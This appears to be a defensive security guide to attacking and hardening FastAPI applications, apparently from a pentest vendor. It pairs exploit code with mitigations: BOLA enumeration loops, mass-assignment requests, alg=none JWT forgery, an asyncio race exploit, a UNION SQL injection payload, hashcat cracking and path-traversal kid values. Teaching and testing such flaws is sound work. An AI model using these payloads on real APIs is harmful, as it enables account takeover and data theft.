TL;DR
FastAPI gives you automatic input parsing, OpenAPI documentation, and OAuth2 scaffolding — none of which prevents BOLA, JWT algorithm confusion, mass assignment, or async race conditions. The framework is secure-by-default for transport-layer concerns only. Authorization, token validation, and concurrency-safe state management are entirely your responsibility.
FastAPI (0.115+) handles serialization, deserialization, and OpenAPI schema generation through Pydantic v2. The dependency injection system (Depends()) provides a clean path for plugging in authentication. These are genuine advantages over bare WSGI frameworks.
The critical misunderstanding is what FastAPI does not provide:
Depends(get_current_user) confirms identity. It does not verify the authenticated user owns the resource at the path parameter.OAuth2PasswordBearer as a token extractor — a class that reads the Authorization header. Signature verification, algorithm restriction, and claim validation must be implemented by the developer using a separate library.CORSMiddleware must be added explicitly, and misconfiguration is straightforward.extra="allow" or using the wrong schema for input makes all extra fields available to the application.The attack surface of a FastAPI application is primarily determined by developer decisions, not framework defaults. This guide walks through the most impactful vectors with exploit-ready code and verified mitigations.
Broken Object Level Authorization is the single most exploited API vulnerability category in 2025–2026. FastAPI path parameters make BOLA easy to introduce: every route that accepts {resource_id} without an ownership check is a candidate.
from fastapi import FastAPI, Depends
from sqlalchemy.orm import Session
app = FastAPI()
@app.get("/users/{user_id}/profile")
def get_profile(user_id: int, db: Session = Depends(get_db)):
# No check that the requester owns user_id
profile = db.query(UserProfile).filter(UserProfile.user_id == user_id).first()
if not profile:
raise HTTPException(status_code=404, detail="Not found")
return profileWith a valid token for any account, an attacker iterates user_id from 1 to N and reads every profile. Sequential integer IDs make enumeration trivial. UUIDs reduce discoverability but do not replace authorization checks.
# Step 1 — authenticate as a low-privilege user
TOKEN=$(curl -s -X POST https://api.target.com/token \
-d "username=attacker&password=password123" | jq -r .access_token)
# Step 2 — iterate resource IDs
for id in $(seq 1 500); do
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.target.com/users/$id/profile \
| grep -v '"detail":"Not found"' && echo " [HIT] user_id=$id"
doneTurbo Intruder (Burp Suite) parallelizes this at hundreds of requests per second.
from typing import Annotated
from fastapi import Depends, HTTPException, status
@app.get("/users/{user_id}/profile")
def get_profile(
user_id: int,
current_user: Annotated[User, Depends(get_current_user)],
db: Session = Depends(get_db),
):
# Ownership check: principal must own the resource
if current_user.id != user_id and not current_user.is_admin:
raise HTTPException(status_code=403, detail="Forbidden")
profile = db.query(UserProfile).filter(UserProfile.user_id == user_id).first()
if not profile:
raise HTTPException(status_code=404, detail="Not found")
return profileFor deeper coverage, see IDOR / BOLA fundamentals.
| Aspect | FastAPI | Flask |
|---|---|---|
| Path parameter type enforcement | Automatic (Pydantic) | Manual or via int: converter |
| Auth dependency wiring | Depends() — explicit, composable | Decorators or g.user — ad-hoc |
| OpenAPI exposure of IDs | Auto-documented via /openapi.json | Manual if flask-restx/apispec used |
| BOLA discoverability | High — all routes documented | Lower — no schema by default |
| Detection by scanner | High — schema reveals enumerable IDs | Medium — requires crawling |
FastAPI's /openapi.json endpoint is a gift to attackers: it maps every path parameter, its type, and whether authentication is required. Always audit your OpenAPI schema before shipping.
extra="allow" and BeyondMass assignment occurs when a server accepts client-supplied fields that should not be settable — typically role, is_admin, verified, credits, or balance. Pydantic v2 is strict by default, but developers regularly relax this.
from pydantic import BaseModel
class UserUpdate(BaseModel):
model_config = {"extra": "allow"} # Accepts any field the client sends
name: str
email: str
@app.put("/users/{user_id}")
async def update_user(user_id: int, payload: UserUpdate, db: Session = Depends(get_db)):
user = db.query(User).filter(User.id == user_id).first()
# model_dump() includes the extra fields the client injected
for key, value in payload.model_dump().items():
setattr(user, key, value)
db.commit()
return usercurl -X PUT https://api.target.com/users/42 \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "Attacker", "email": "attacker@evil.com", "is_admin": true, "role": "admin"}'If the database model has is_admin and role columns, they will be set.
Even without extra="allow", using the ORM model or the response schema as the input schema leaks privilege fields:
# Dangerous: using the full ORM model as input
@app.put("/users/{user_id}")
async def update_user(user_id: int, payload: UserSchema): # UserSchema includes role, is_admin
...from typing import Annotated
from pydantic import BaseModel
class UserUpdateRequest(BaseModel):
model_config = {"extra": "forbid"} # Reject unknown fields with 422
name: str
email: str
# role, is_admin, verified are NOT present here
class UserResponse(BaseModel):
id: int
name: str
email: str
role: str # Visible in response, NOT settable from input
@app.put("/users/{user_id}", response_model=UserResponse)
async def update_user(
user_id: int,
payload: UserUpdateRequest, # Allowlisted input schema
current_user: Annotated[User, Depends(get_current_user)],
db: Session = Depends(get_db),
):
...Use separate Pydantic schemas for input, output, and internal representation. Never use a single UserSchema for all three contexts. Learn more about this class of vulnerability at mass assignment.
FastAPI's OAuth2PasswordBearer extracts a bearer token from the Authorization header and passes it to your get_current_user dependency. Everything after that — validation — is your code.
graph TD
A[Client sends JWT] --> B[Algorithm check]
B -->|alg=none accepted| C[Signature bypass -- full auth skip]
B -->|RS256 to HS256 confusion| D[Sign with public key -- auth bypass]
B -->|HS256 weak secret| E[Brute force -- forge any token]
B -->|Algorithm correct| F[Claims check]
F -->|exp missing| G[Token never expires -- replay forever]
F -->|kid injection| H[Path traversal && SSRF via kid param]
F -->|Claims valid| I[Authenticated request]python-jose through version 3.3.0 (CVE-2024-33663, CVSS 7.4 HIGH) fails to enforce correct key usage for OpenSSH ECDSA keys and does not adequately validate that the algorithm in the JWT header matches the key type. This enables algorithm confusion attacks where an attacker switches the alg field to bypass signature verification.
FastAPI's documentation previously recommended python-jose. As of 2024, the official docs were updated to recommend PyJWT instead.
CVE-2025-45768 — PyJWT v2.10.1 was found to accept HS256 tokens signed with dangerously short secrets without enforcing a minimum key length (CVSS 7.0 HIGH, disputed). The library delegates key strength choice to the application.
alg=none Attackimport base64, json
# Decode a real token to get a valid payload
header = base64.b64decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" + "==")
# Modify: set alg to none and elevate role
forged_header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b"=").decode()
forged_payload = base64.urlsafe_b64encode(
json.dumps({"sub": "1", "role": "admin", "exp": 9999999999}).encode()
).rstrip(b"=").decode()
# Signature is empty for alg=none
forged_token = f"{forged_header}.{forged_payload}."import jwt # PyJWT
# VULNERABLE: no algorithm restriction
def get_current_user(token: str = Depends(oauth2_scheme)):
payload = jwt.decode(token, SECRET_KEY) # Accepts none, HS256, RS256 -- all of them
return payloadimport jwt
from jwt.exceptions import InvalidTokenError
SECRET_KEY = os.environ["JWT_SECRET"] # Never hardcode
ALGORITHM = "HS256"
def get_current_user(token: str = Depends(oauth2_scheme)):
try:
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=["HS256"], # Explicit allowlist — never omit this
options={"require": ["exp", "sub", "iat"]}, # Enforce mandatory claims
)
except InvalidTokenError as exc:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Invalid token", # Generic — do not echo the exception message
headers={"WWW-Authenticate": "Bearer"},
)
return payloadFor a deeper breakdown of JWT attack vectors including kid injection and JKU manipulation, see JWT overview and JWT alg=none.
HS256 secret strength: Use a minimum 32-character random secret. A weak secret like secret, changeme, or a dictionary word can be cracked with hashcat mode 16500 in seconds on a consumer GPU:
hashcat -a 0 -m 16500 target.jwt /usr/share/wordlists/rockyou.txtFastAPI async handlers run on a single event loop thread. When an await yields control, another coroutine can execute and modify shared state. This creates a Time-of-Check to Time-of-Use window that is exploitable with concurrent requests.
@app.post("/redeem-voucher")
async def redeem_voucher(code: str, current_user: User = Depends(get_current_user), db: AsyncSession = Depends(get_db)):
# CHECK: is the voucher still valid?
voucher = await db.get(Voucher, code)
if voucher.used:
raise HTTPException(status_code=400, detail="Already used")
# <<< await here yields control to the event loop >>>
# Another request for the same code can pass the check above
await asyncio.sleep(0) # Simulates any I/O operation
# USE: mark as used (race window — two requests can reach here)
voucher.used = True
current_user.credits += voucher.amount
await db.commit()import asyncio, httpx
async def exploit():
async with httpx.AsyncClient() as client:
# Fire 20 concurrent redemption requests for the same voucher
tasks = [
client.post(
"https://api.target.com/redeem-voucher",
json={"code": "PROMO50"},
headers={"Authorization": f"Bearer {TOKEN}"},
)
for _ in range(20)
]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r.status_code == 200]
print(f"Redeemed {len(successes)} times with a single-use code")
asyncio.run(exploit())from sqlalchemy import update
from sqlalchemy.exc import NoResultFound
@app.post("/redeem-voucher")
async def redeem_voucher(code: str, current_user: User = Depends(get_current_user), db: AsyncSession = Depends(get_db)):
# Atomic compare-and-set: only succeeds if used=False right now
result = await db.execute(
update(Voucher)
.where(Voucher.code == code, Voucher.used == False)
.values(used=True)
.returning(Voucher.amount)
)
row = result.fetchone()
if row is None:
raise HTTPException(status_code=400, detail="Voucher invalid or already used")
# Safe: we hold the exclusive lock via the atomic UPDATE
current_user.credits += row.amount
await db.commit()For background tasks, the risk differs: BackgroundTasks runs after the response is sent, in the same worker process. If the process restarts, the task is lost with no retry and no visibility. Never place credit adjustments, email sending, or audit log writes in BackgroundTasks without an idempotency key and a fallback queue. See race conditions for broader context.
Additional async pitfall: using threading.Lock() in an async def endpoint blocks the entire event loop — use asyncio.Lock() instead.
SQLAlchemy's ORM is injection-safe by default. The injection surface is text() with string interpolation — a pattern that bypasses all parameterization.
from sqlalchemy import text
@app.get("/search")
async def search_users(term: str, db: AsyncSession = Depends(get_db)):
# VULNERABLE: f-string injects user input directly into SQL
query = text(f"SELECT * FROM users WHERE name LIKE '%{term}%'")
result = await db.execute(query)
return result.fetchall()Payload: term = %' UNION SELECT username, password, null FROM users --
from sqlalchemy import text, select
from sqlalchemy.orm import DeclarativeBase
# Option 1 — parameterized text()
@app.get("/search")
async def search_users(term: str, db: AsyncSession = Depends(get_db)):
query = text("SELECT id, name, email FROM users WHERE name LIKE :pattern")
result = await db.execute(query, {"pattern": f"%{term}%"})
return result.fetchall()
# Option 2 — ORM query (preferred)
@app.get("/search-orm")
async def search_users_orm(term: str, db: AsyncSession = Depends(get_db)):
result = await db.execute(
select(User).where(User.name.ilike(f"%{term}%")) # ilike uses parameterized binding
)
return result.scalars().all()Dynamic column names and table names cannot be parameterized — they must be validated against an explicit allowlist:
ALLOWED_SORT_COLUMNS = {"name", "created_at", "email"}
@app.get("/users")
async def list_users(sort_by: str = "name", db: AsyncSession = Depends(get_db)):
if sort_by not in ALLOWED_SORT_COLUMNS:
raise HTTPException(status_code=400, detail="Invalid sort column")
# Safe: column name comes from allowlist, not raw user input
result = await db.execute(text(f"SELECT * FROM users ORDER BY {sort_by}"))
return result.fetchall()Learn more about injection patterns at SQL injection.
FastAPI's CORSMiddleware is not active by default. When developers add it to fix a browser CORS error during development, they frequently use the path of least resistance:
from fastapi.middleware.cors import CORSMiddleware
# DANGEROUS development config that ships to production
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # Any origin
allow_credentials=True, # Cookies and Authorization headers
allow_methods=["*"], # Any HTTP method
allow_headers=["*"], # Any header
)The browser spec prohibits combining allow_origins=["*"] with allow_credentials=True. FastAPI's middleware silently accepts this combination and strips the Access-Control-Allow-Credentials header from the response. The danger lies in a more subtle pattern: reflecting the Origin header:
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.requests import Request
class BadCORSMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request: Request, call_next):
response = await call_next(request)
# VULNERABLE: any origin becomes trusted
origin = request.headers.get("origin", "")
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
return responseWith this pattern, a malicious page at https://attacker.com can make credentialed requests to the target API and read responses. This is a classic CSRF escalation — the attacker reads state in addition to triggering mutations. See CSRF for full exploitation details.
ALLOWED_ORIGINS = [
"https://app.yourdomain.com",
"https://admin.yourdomain.com",
]
app.add_middleware(
CORSMiddleware,
allow_origins=ALLOWED_ORIGINS, # Explicit allowlist
allow_credentials=True,
allow_methods=["GET", "POST", "PUT", "DELETE"],
allow_headers=["Authorization", "Content-Type"],
max_age=600,
)For staging and preview environments, dynamically allow subdomains of your own domain — never null (which maps to file:// origins and sandboxed iframes) and never regex-based matching without anchoring.
FastAPI's Depends() system is elegant and composable, which creates a specific failure mode: optional authentication that becomes effectively no authentication.
auto_error=False Footgunfrom fastapi.security import OAuth2PasswordBearer
# With auto_error=False, missing tokens return None instead of 401
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/token", auto_error=False)
async def get_optional_user(token: str | None = Depends(oauth2_scheme)) -> User | None:
if token is None:
return None
return verify_token(token)
# VULNERABLE: developer forgot to handle the None case
@app.get("/dashboard/stats")
async def get_stats(user: User | None = Depends(get_optional_user)):
# user can be None here — endpoint is unauthenticated
return db.query(SensitiveStats).all()FastAPI evaluates dependencies top-down. A common pattern where auth lives in a sub-dependency creates a silent bypass risk:
async def get_current_user(token: str = Depends(oauth2_scheme)):
if not token:
return None # Forgot to raise here
return verify_and_return_user(token)
async def require_auth(user: User = Depends(get_current_user)):
# This check is fine
if user is None:
raise HTTPException(status_code=401)
return user
# BUT: if someone wires get_current_user directly instead of require_auth...
@app.delete("/admin/users/{user_id}")
async def delete_user(user_id: int, user = Depends(get_current_user)): # Bug: wrong dep
# user can be None — deletes without auth
db.query(User).filter(User.id == user_id).delete()Pentest check: replay every sensitive endpoint without the Authorization header. Any 200 response indicates a broken dependency chain.
FastAPI has no built-in rate limiting. Every endpoint is open to full-speed enumeration unless you add it explicitly. The gap affects:
from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address
from slowapi.errors import RateLimitExceeded
limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
@app.post("/token")
@limiter.limit("5/minute") # Per IP, per minute
async def login(request: Request, form_data: OAuth2PasswordRequestForm = Depends()):
...from slowapi import Limiter
from slowapi.util import get_remote_address
# Redis storage ensures limits are shared across all worker processes and pods
limiter = Limiter(
key_func=get_remote_address,
storage_uri="redis://redis:6379/0",
)In Kubernetes with 5 replicas, a 5/minute per-IP limit with in-memory storage becomes effectively 25/minute. Redis storage enforces the limit globally. For production APIs, prefer gateway-level rate limiting (Traefik, Kong, Nginx) as a defense-in-depth layer that cannot be bypassed by attacking a pod directly.
A structured FastAPI engagement follows this sequence, mapping to OWASP API Top 10 2023:
Phase 1 — Discovery
/openapi.json and parse all routes, parameters, schemas, and security definitions.{user_id}, {order_id}, {document_id})./docs (Swagger UI) and /redoc are exposed in production — they should not be.Phase 2 — Authentication Testing
auto_error=False chains).alg=none and algorithm confusion (RS256 to HS256).hashcat -m 16500).exp enforcement: submit a token with exp set to a past timestamp.kid handling: submit tokens with kid set to path traversal payloads (../../dev/null, ../../../etc/passwd).Phase 3 — Authorization (BOLA / BFLA)
Phase 4 — Input and Injection
is_admin, role, verified, credits) to every POST and PUT endpoint. Check whether they appear in subsequent GET responses.' OR '1'='1, ' UNION SELECT null --.aaaaaaaaaaaaaaaaaaaaaaab and longer — watch for timeout.Phase 5 — Race Conditions
asyncio requests to hit the TOCTOU window.Phase 6 — Infrastructure
Origin: https://attacker.com to all API endpoints. Check whether Access-Control-Allow-Origin: https://attacker.com is returned.pip show python-multipart. Versions below 0.0.7 are vulnerable to CVE-2024-24762.BreachVex's automated pipeline detects FastAPI via the /openapi.json endpoint and /docs interface fingerprint. Once identified, a FastAPI-specific probe set activates:
BOLA probe: The cartography node extracts all path parameters from the OpenAPI schema. The BOLA squad iterates IDs from 1 to 200 (and UUID patterns where applicable) across every parameterized endpoint, correlating responses to confirm data leakage.
JWT manipulation: The auth squad extracts the JWT from an authenticated session, decodes the header, and generates three forged variants: alg=none, HS256 signed with top-100 weak secrets, and an expired token with exp removed. All three are replayed against every authenticated endpoint.
Mass assignment: Every POST and PUT endpoint receives a request with the documented fields plus a set of privilege-escalation fields (role, is_admin, verified, admin, superuser, permissions, credits, balance). The response is compared to a baseline GET for the same resource to detect field persistence.
ReDoS probe (CVE-2024-24762): If the application accepts form data, a crafted Content-Type header with catastrophic backtracking input is sent. A response timeout exceeding 5 seconds is flagged as a confirmed finding with the CVE reference.
Proof of exploit: Every confirmed finding includes a curl command that reproduces the vulnerability from zero — no tooling required, no false positives.
| CVE | Component | CVSS | Fixed In | Impact |
|---|---|---|---|---|
| CVE-2024-24762 | python-multipart < 0.0.7 | 7.5 HIGH | FastAPI 0.109.1 | ReDoS via Content-Type header — full DoS |
| CVE-2024-33663 | python-jose ≤ 3.3.0 | 7.4 HIGH | Migrate to PyJWT | Algorithm confusion — auth bypass |
| CVE-2025-45768 | PyJWT 2.10.1 | 7.0 HIGH | Disputed — enforce key length | Weak HS256 secrets not rejected |
| CVE-2025-46814 | fastapi-guard < 2.0.0 | 7.5 HIGH | fastapi-guard 2.0.0 | X-Forwarded-For injection — IP bypass |
| CVE-2022-29217 | PyJWT < 2.4.0 | 7.5 HIGH | PyJWT 2.4.0 | Algorithm confusion — RS256 to HS256 |